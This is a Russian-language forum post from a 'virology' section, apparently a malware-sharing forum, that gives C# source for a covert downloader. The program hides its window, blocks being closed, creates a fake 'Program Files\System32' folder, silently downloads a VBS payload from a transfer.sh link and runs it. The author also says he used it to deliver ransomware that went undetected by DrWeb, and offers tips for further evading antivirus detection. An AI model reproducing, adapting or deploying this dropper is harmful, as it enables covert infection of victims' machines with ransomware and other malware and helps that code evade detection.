Загрузка...

Скрытая скачка файла и открытие его C#

Тема в разделе Вирусология создана пользователем SparkXtrm 8 апр 2022. 672 просмотра

Загрузка...
  1. SparkXtrm
    SparkXtrm Автор темы 8 апр 2022 Заблокирован(а) 304 1 мар 2022
    Сегодня я вам расскажу как скрытно загрузить и открыть файл, вес файла 79 кб (C#)
    C#
    using System;
    using System.Diagnostics;
    using System.IO;
    using System.Net;
    using System.Windows.Forms;
    C#
    namespace launcher2._0
    {
    public partial class launcher2 : Form
    {
    public launcher2()
    {
    InitializeComponent();
    this.TransparencyKey = this.BackColor; //Make invisible
    }

    private void launcher2_FormClosing(object sender, FormClosingEventArgs e)
    {

    e.Cancel = true; //anti_Kill

    }

    private void launcher2_Load(object sender, EventArgs e)
    {

    Directory.CreateDirectory("C:\\Program Files\\System32"); //Создание папки в которую будет скачиваться файл
    File.WriteAllText("C:\\Program Files\\System32\\README.txt", "..."); //оставляем так

    this.Left = 0; //Make 0 size
    this.Top = 0; //Make 0 size
    this.Width = Screen.PrimaryScreen.Bounds.Width; //Make 0 size
    this.Height = Screen.PrimaryScreen.Bounds.Height; //Make 0 size

    string path_cache = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); //define path on desktop
    string existfile = path_cache + @"\._cache_DCQPKX.exe"; //анти килл < ._cache_DCQPKX появится на рабочем столе и сразу же удалится
    if (!File.Exists(existfile))
    {
    string pathcachefile = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);

    using (StreamWriter streamWriter = File.CreateText(pathcachefile + @"\._cache_DCQPKX.exe"))
    {
    streamWriter.WriteLine("good"); //оставляем так
    }
    }

    string path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
    using (StreamWriter streamWriter = File.CreateText(path + @"\Name.txt")) //создаем txt файл на рабочем столе с таким названием
    {
    streamWriter.WriteLine(" text "); //Сюда текст в файл
    }

    ServicePointManager.Expect100Continue = true; //Для скачки с гитхаба, но советую с трансфера
    ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;

    WebClient webClient = new WebClient();
    webClient.DownloadFile("https://transfer.sh/get/qUT4Lf/MsAi.vbs", @"C:\Program Files\System32\MsAi.vbs"); //Скрытая установка в папку

    Process.Start("C:\\Program Files\\System32\\MsAi.vbs"); //Старт после скачки

    Process[] _process = null;
    _process = Process.GetProcessesByName("DCQPKX");
    foreach (Process proces in _process)
    {
    proces.Kill();
    }

    Process[] _process2 = null;
    _process2 = Process.GetProcessesByName("._cache_DCQPKX");
    foreach (Process proces2 in _process2)
    {
    proces2.Kill();
    }


    }
    }
    }

    Source code:
    ЯД: Скачать
    GD: Скачать
    VT(Засунул скачку шифровальщика и DrWeb Undetected:peka:):Перейти
    Старался написать без лишней воды! Надеюсь помог
    :spain:
    Может сбросить часть детектов, но при условии добавления кнопки на форму!
    Для кого сделать пишите +
     
Top